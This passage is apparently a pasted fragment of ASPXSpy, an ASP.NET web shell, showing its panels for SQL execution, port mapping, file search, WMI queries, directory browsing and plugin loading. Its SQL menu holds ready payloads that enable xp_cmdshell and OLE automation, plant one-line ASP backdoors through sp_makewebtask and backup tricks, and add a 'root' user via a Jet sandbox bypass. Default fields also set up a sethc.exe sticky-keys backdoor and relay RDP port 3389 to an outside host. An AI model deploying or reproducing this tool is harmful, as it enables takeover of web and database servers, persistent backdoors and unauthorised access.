  2777.     <div id="Bin_Label_Scanres" runat="server" visible="false" enableviewstate="false"></div>
  2778.     </div>
  2779.     <%--DataBase--%>
  2780.     <div id="Bin_Div_Data" runat="server">
  2781.     <div id='zcg_divresize' style="width:1000px;overflow:auto">
  2782.     <p>ConnString : <asp:TextBox id="Bin_TextBox_ConnStr" style="width:70%;margin:0 8px; height:17px" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="Bin_List_Connstr" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost,1433;UID=sa;PWD=sa;database=master">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=d:\database.mdb">OleDb</asp:ListItem></asp:DropDownList><asp:Button ID="Bin_Button_Conn" runat="server" Text="Go" CssClass="bt" OnClick="Bin_Button_Conn_Click"/></p></div>
  2783.     <div id="Bin_Div_DBPanel" runat="server">
  2784.     <div id="Bin_Div_Dbinfo" runat="server"></div>
  2785.     <div id="Bin_Div_Dblist" runat="server">
  2786.     Please select a database : <asp:DropDownList runat="server" ID="Bin_List_DB" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"></asp:DropDownList>
  2787.     SQLExec : <asp:DropDownList runat="server" ID="Bin_List_Exec" AutoPostBack="True" OnSelectedIndexChanged="Bin_List_SelectedIndexChanged" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(&#34;cmd.exe /c net user root root/add &#34;)')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem><asp:ListItem>SA_Upfile</asp:ListItem><asp:ListItem>FileCopy</asp:ListItem></asp:DropDownList>
  2788.     <asp:Button runat="server" ID="Bin_Button_Show" CssClass="bt" Text="Show Tables" OnClick="Bin_List_SelectedIndexChanged"/>
  2789.     </div>
  2790.     <table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="Bin_Textarea_Query" class="area" style="overflow:auto;" runat="server" rows="5" cols="100"></textarea></td></tr><tr><td>
  2791. <asp:Button runat="server" ID="Bin_Button_Query" CssClass="bt" Text="Query" onclick="Bin_Button_Query_Click"/>
  2792. <asp:Button runat="server" ID="Bin_Button_Export" CssClass="bt" Text="Export" onclick="Bin_Button_Export_Click" Visible="false" EnableViewState="false"/></td></tr></table>
  2793.  
  2794. <div id="Bin_Div_saupfile" runat="server" visible="false" enableviewstate="false">
  2795.     <table width="70%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2796.             <tr align="center">        
  2797.             <td style="width:15%" align="left">UpFile : <input id="Bin_TextBox_SaFile" class="input" runat="server" type="file" style="height:22px" size="30"/></td>
  2798.             <td style="width:30%" align="left">SavePath : <input id="Bin_TextBox_SavePath" class="input" runat="server" type="text" style="height:16px" size="30"/>&nbsp;&nbsp;&nbsp;&nbsp;<asp:Button
  2799.                     ID="Bin_Button_SaUpfile" runat="server" CssClass="bt"
  2800.                     onclick="Bin_Button_SaUpfile_Click" Text="Sa_UpFile" />
  2801.                                             </td>
  2802.            
  2803.             </tr>
  2804.             </table></div>
  2805.             <div id="Bin_Div_CopyFile" runat="server" visible="false" enableviewstate="false">
  2806. <table width="70%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2807. <tr align="center">
  2808. <td style="width:10%" align="left">Source : <input id="Bin_TextBox_Source" class="input" runat="server" type="text" style="height:16px" size="40" value="c:\windows\explorer.exe"/></td>
  2809. <td style="width:20%" align="left">Target : <input id="Bin_TextBox_Target" class="input" runat="server" type="text" style="height:16px" size="40" value="c:\windows\system32\sethc.exe"/>&nbsp;&nbsp;&nbsp;&nbsp;<asp:Button runat="server"
  2810.                     ID="Bin_Button_CabCopy" CssClass="bt" Text="CabCopy"
  2811.         onclick="Bin_Button_CabCopy_Click"  />&nbsp;&nbsp;&nbsp;&nbsp;<asp:Button runat="server"
  2812.                     ID="Bin_Button_FsoCopy" CssClass="bt" Text="FsoCopy"
  2813.         onclick="Bin_Button_FsoCopy_Click"/></td>
  2814. </tr>
  2815. </table>
  2816. </div>
  2817.     <div style="overflow:auto;" >
  2818.     <p>
  2819.     <asp:DataGrid runat="server" ID="Bin_DataGrid" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" EnableViewState="false"></asp:DataGrid>
  2820.     </p>
  2821.     </div>
  2822.     </div>
  2823.     </div>
  2824.     <%--PortMap--%>
  2825.     <div id="Bin_Div_PortMap" runat="server">
  2826.         <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2827.             <tr align="center">
  2828.             <td style="width:5%"></td>
  2829.             <td style="width:20%" align="left">Local Ip : <input class="input" runat="server" id="Bin_TextBox_Lip" type="text" size="20" value="127.0.0.1"/></td>
  2830.             <td style="width:20%" align="left">Local Port : <input class="input" runat="server" id="Bin_TextBox_Lport" type="text" size="20" value="3389"/></td>
  2831.             <td style="width:20%" align="left">Remote Ip : <input class="input" runat="server" id="Bin_TextBox_Rip" type="text" size="20" value="www.rootkit.net.cn"/></td>
  2832.             <td style="width:20%" align="left">Remote Port : <input class="input" runat="server" id="Bin_TextBox_Rport" type="text" size="20" value="80"/></td></tr>
  2833.             <tr align="center"><td colspan="5"><br/><asp:Button ID="Bin_Button_MapPort" CssClass="bt" runat="server" Text="Start" OnClick="Bin_Button_MapPort_Click"/><asp:Button ID="zcg_btnListPM" CssClass="bt" runat="server" Text="ListAll" OnClick="zcg_btnListPM_Click"/><asp:Button ID="zcg_btnClearPM" CssClass="bt" runat="server" Text="ClearAll" OnClick="zcg_btnClearPM_Click"/></td></tr></table>
  2834.         <asp:Table ID="zcg_tbl_PMList" runat="server" Width="100%" CellSpacing="0" Visible=false>
  2835.             <asp:TableRow CssClass="head"><asp:TableCell Width="20%">ID</asp:TableCell><asp:TableCell Width="20%">Remote</asp:TableCell><asp:TableCell Width="20%">Local</asp:TableCell><asp:TableCell Width="20%">Status</asp:TableCell><asp:TableCell Width="20%">Action</asp:TableCell></asp:TableRow>
  2836.         </asp:Table>
  2837.             </div>
  2838.     <%--Search--%>
  2839.     <div id="Bin_Div_Search" runat="server">
  2840.         <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2841.             <tr align="center">
  2842.                 <td style="width:20%" align="left">Keyword</td>
  2843.                 <td style="width:60%" align="left"><textarea id="Bin_TextArea_Search" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2844.                 <td style="width:20%" align="left"><input type="checkbox" runat="server" id="Bin_Search_UseReg" value="1"/> Use Regex</td>
  2845.             </tr>
  2846.             <tr align="center">
  2847.                 <td style="width:20%" align="left">Replace As</td>
  2848.                 <td style="width:60%" align="left"><textarea id="Bin_TextArea_ReplaceAs" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2849.                 <td style="width:20%" align="left"><input type="checkbox" runat="server" id="Bin_Search_Replace"/> Replace</td>
  2850.             </tr>
  2851.             <tr align="center">
  2852.                 <td style="width:20%" align="left">Search FileType</td>
  2853.                 <td style="width:60%" align="left"><input type="text" runat="server" class="input" id="Bin_Search_Ext" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  2854.                 <td style="width:20%" align="left"><asp:DropDownList runat="server" ID="Bin_Search_Mod" AutoPostBack="False" CssClass="list"><asp:ListItem Value="name" Selected="True">File Name</asp:ListItem><asp:ListItem Value="content">File Content</asp:ListItem></asp:DropDownList></td>
  2855.             </tr>
  2856.             <tr align="center">
  2857.                 <td style="width:20%" align="left">Path</td>
  2858.                 <td style="width:60%" align="left"><input type="text" class="input" id="Bin_Search_Path" runat="server" style="width:100%" /></td>
  2859.                 <td style="width:20%" align="left"><asp:Button CssClass="bt" id="Bin_Button_SearchSubmit" runat="server" onclick="Bin_Button_Search_Click" Text="Start" /></td>
  2860.             </tr>
  2861.         </table>
  2862.         <br/>
  2863.         <br/>
  2864.         <asp:Table ID="Bin_Table_Search" runat="server" Width="100%" CellSpacing="0" >
  2865.             <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  2866.         </asp:Table>
  2867.     </div>
  2868.     <%--WmiTools--%>
  2869.     <div id="Bin_Div_WmiTools" runat="server">
  2870.     <div id='zcg_divresize' style="width:1000px;overflow:auto">
  2871.     <p>Computer:<asp:TextBox id="zcg_txbWmiComputer" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Username:<asp:TextBox id="zcg_txbWmiUserName" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Password:<asp:TextBox id="zcg_txbWmiPassword" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="" runat="server"/>Namespace:<asp:TextBox id="zcg_txbWmiNamespace" style="width:8%;margin:0 8px; height:17px" CssClass="input" value="root\CIMV2" runat="server"/>QueryString : <asp:TextBox id="Bin_TextBox_WmiString" style="width:20%;margin:0 8px; height:17px" CssClass="input" runat="server" Text="select * from win32_process"/>&nbsp;<asp:Button ID="Bin_Button_WmiQuery" runat="server" Text="Query" CssClass="bt" onclick="Bin_Button_WmiQuery_Click"/></p></div>
  2872.             <div id="Bin_Div_WmiPanel" runat="server">          
  2873.                 Result:<br />
  2874.     <asp:DataGrid runat="server" ID="Bin_DataGrid_Wmi" HeaderStyle-CssClass="head" BorderWidth="0"
  2875.                     GridLines="None"  EnableViewState="false"></asp:DataGrid>
  2876.             </div>
  2877.     </div>
  2878.     <%--ADS Viewer--%>
  2879.     <div id="zcg_div_ADSViewer" runat="server">
  2880.     <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  2881.  <tr>
  2882.     <td style=" white-space:nowrap">Current Path:</td>
  2883.     <td style=" width:40%"><input class="input" id="zcg_txbADSPath" type="text" style="width:95%;margin:0 8px;" runat="server"/>
  2884.     </td>
  2885.     <td style=" white-space:nowrap">Filter:</td>
  2886.     <td style=" width:15%"><input class="input" id="zcg_txbADSFilter" type="text" style="width:85%;margin:0 8px;" runat="server"/>
  2887.     </td>
  2888.     <td style=" white-space:nowrap">UserName:</td>
  2889.     <td style=" width:15%"><input class="input" id="zcg_txbADSUser" type="text" style="width:85%;margin:0 8px;" runat="server"/>
  2890.     </td>
  2891.     <td style=" white-space:nowrap">PassWord:</td>
  2892.     <td style=" width:15%"><input class="input" id="zcg_txbADSPass" type="text" style="width:85%;margin:0 8px;" runat="server"/>
  2893.     </td>
  2894.     <td style=" white-space:nowrap">Type:</td>
  2895.     <td style=" width:10%"><input class="input" id="zcg_txbADSType" Value="1" type="text" style="width:85%;margin:0 8px;" runat="server" onClick="show();" /><br/>
  2896.     <div id="typediv" style="position:absolute;font-size:9pt; background-color:#e8e8e8;width:145px; display:none;z-index:9999;">
  2897.     <input type="checkbox" name="checker" value="0">None</input><br/>
  2898.     <input type="checkbox" name="checker" checked="true" value="1">Secure</input><br/>
  2899.     <input type="checkbox" name="checker" value="2">SecureSocketsLayer</input><br/>
  2900.     <input type="checkbox" name="checker" value="2">Encryption</input><br/>
  2901.     <input type="checkbox" name="checker" value="4">ReadonlyServer</input><br/>
  2902.     <input type="checkbox" name="checker" value="0x10">Anonymous</input><br/>
  2903.     <input type="checkbox" name="checker" value="0x20">FastBind</input><br/>
  2904.     <input type="checkbox" name="checker" value="0x40">Signing</input><br/>
  2905.     <input type="checkbox" name="checker" value="0x80">Sealing</input><br/>
  2906.     <input type="checkbox" name="checker" value="0x100">Delegation</input><br/>
  2907.     <input type="checkbox" name="checker" value="0x200">ServerBind</input><br/>
  2908.     <input type="button" onclick="hide(true)" style="width:50px;" value="OK"/>
  2909.     <input type="button" onclick="hide(false)" style="margin-left:25px;" value="Cancel"/>
  2910.     </div>
  2911.     <script>
  2912.     function show()
  2913.     {
  2914.     document.getElementById("typediv").style.display="block";return false;
  2915.     }
  2916.     function hide(isok)
  2917.     {
  2918.     if(isok)
  2919.     {
  2920.     var hidvalue=0;
  2921.     var clicked=false;
  2922.     var checkers=document.getElementsByName("checker");
  2923.     for(var i=0;i<checkers.length;i++)
  2924.     {
  2925.     if(checkers[i].checked){hidvalue|=parseInt(checkers[i].value);clicked=true;}
  2926.     }
  2927.     document.getElementById("zcg_txbADSType").value=clicked?hidvalue:1;
  2928.     }
  2929.     document.getElementById("typediv").style.display="none";
  2930.     return false;
  2931.     }
  2932.     </script>
  2933.     </td>
  2934.     <td style="white-space:nowrap" ><asp:Button ID="zcg_btnDoListADS" runat="server" Text="List" CssClass="bt" OnClick="zcg_btnDoListADS_Click"/></td>
  2935.  </tr>
  2936.     </table>
  2937.     <table width="100%" border="0" cellpadding="4" cellspacing="0">
  2938.     <tr class="alt1"><td style="padding:5px;">
  2939.     <div style="float:right;">Schema:<asp:Label id="zcg_lbl_Schema" Text="&nbsp;" runat="server" style=" height:22px,Width:50px"/></div>
  2940.     <asp:LinkButton ID="zcg_lbtnADSWinNT" runat="server" Text="WinNT" CommandArgument="WinNT:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2941.     <asp:LinkButton ID="zcg_lbtnADSLocalMachine" runat="server" Text="LocalMachine" CommandArgument="WinNT://"  OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2942.     <asp:LinkButton ID="zcg_lbtnADSLocalShare" runat="server" Text="LocalShare" CommandArgument="WinNT://127.0.0.1/lanmanserver"    OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2943.     <asp:LinkButton ID="zcg_lbtnADSWorkGroup" runat="server" Text="WorkGroup" CommandArgument="WinNT://WORKGROUP"   OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2944.     <asp:LinkButton ID="zcg_lbtnADSCurrentDomain" runat="server" Text="CurrentDomain" CommandArgument="WinNT://"    OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2945.     <asp:LinkButton ID="zcg_lbtnADSIIS" runat="server" Text="IIS" CommandArgument="IIS:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2946.     <asp:LinkButton ID="zcg_lbtnADSW3SVC" runat="server" Text="W3SVC" CommandArgument="IIS://LOCALHOST/W3SVC" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2947.     <asp:LinkButton ID="zcg_lbtnADSLDAP" runat="server" Text="LDAP" CommandArgument="LDAP:" OnClick="zcg_lbtnADS_Click"></asp:LinkButton> |
  2948.     <asp:LinkButton ID="zcg_lbtnADSLDAPRootDSE" runat="server" Text="LDAPRootDSE" CommandArgument="LDAP://RootDSE" OnClick="zcg_lbtnADS_Click"></asp:LinkButton>
  2949.     </td></tr>
  2950.         <asp:Table ID="zcg_tbl_ADSViewer" runat="server" Width="100%" CellSpacing="0" >
  2951.             <asp:TableRow CssClass="head"><asp:TableCell Width="20%">Name</asp:TableCell><asp:TableCell Width="10%">Type</asp:TableCell><asp:TableCell Width="15%">Schema</asp:TableCell><asp:TableCell Width="15%">Value</asp:TableCell><asp:TableCell>Path</asp:TableCell></asp:TableRow>
  2952.         </asp:Table>
  2953.     </table>
  2954.     </div>
  2955.     <%--Plugin Loader--%>
  2956.     <div id="zcg_div_Plugin" runat="server">
  2957.     Select a File:<input id="zcg_plgFile" class="input" runat="server" type="file" style="height:22px"/><br/><br/><asp:CheckBox ID="zcg_chbIsDeflated" runat="server" Text="Deflate-Compressed"/>   <asp:CheckBox ID="zcg_chbIsHtml" runat="server" Text="HTML Result"/><br/><br/>TypeName:<br/><asp:TextBox ID="zcg_txbTypeName" runat="server" Size="55" Text="Zcg.Test.AspxSpyPlugins.TestPlugin"></asp:TextBox><br/><br/>MethodName:<br/><asp:TextBox ID="zcg_txbMethodName" runat="server" Size="55" Text="Test"></asp:TextBox><br/><br />Params:<br/><asp:TextBox ID="zcg_txbParams" runat="server" TextMode="1" Height="70" Columns="46"></asp:TextBox><br/><br/><asp:Button ID="zcg_btnplgLoad" CssClass="bt" runat="server" Text="LoadPlugin" OnClick="zcg_btnplgLoad_Click"/>
  2958.     <div id="zcg_div_PluginResult" runat="server"></div>
  2959.     </div>
  2960.         </td></tr></table>
  2961.         <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">Copyright(C)2006-2014 <a href="http://www.rootkit.net.cn" target="_blank">Bin'Blog</a> All Rights Reserved.</div></div>
  2962.         <script>var tmpdiv=document.getElementById('zcg_divresize');var tmpwidth=document.getElementById('Bin_Div_Head').clientWidth+"px";if(tmpdiv){tmpdiv.style.width=tmpwidth;}</script>
  2963.         </form>
  2964.     </body>
  2965. </html>
Add Comment
Please, Sign In to add comment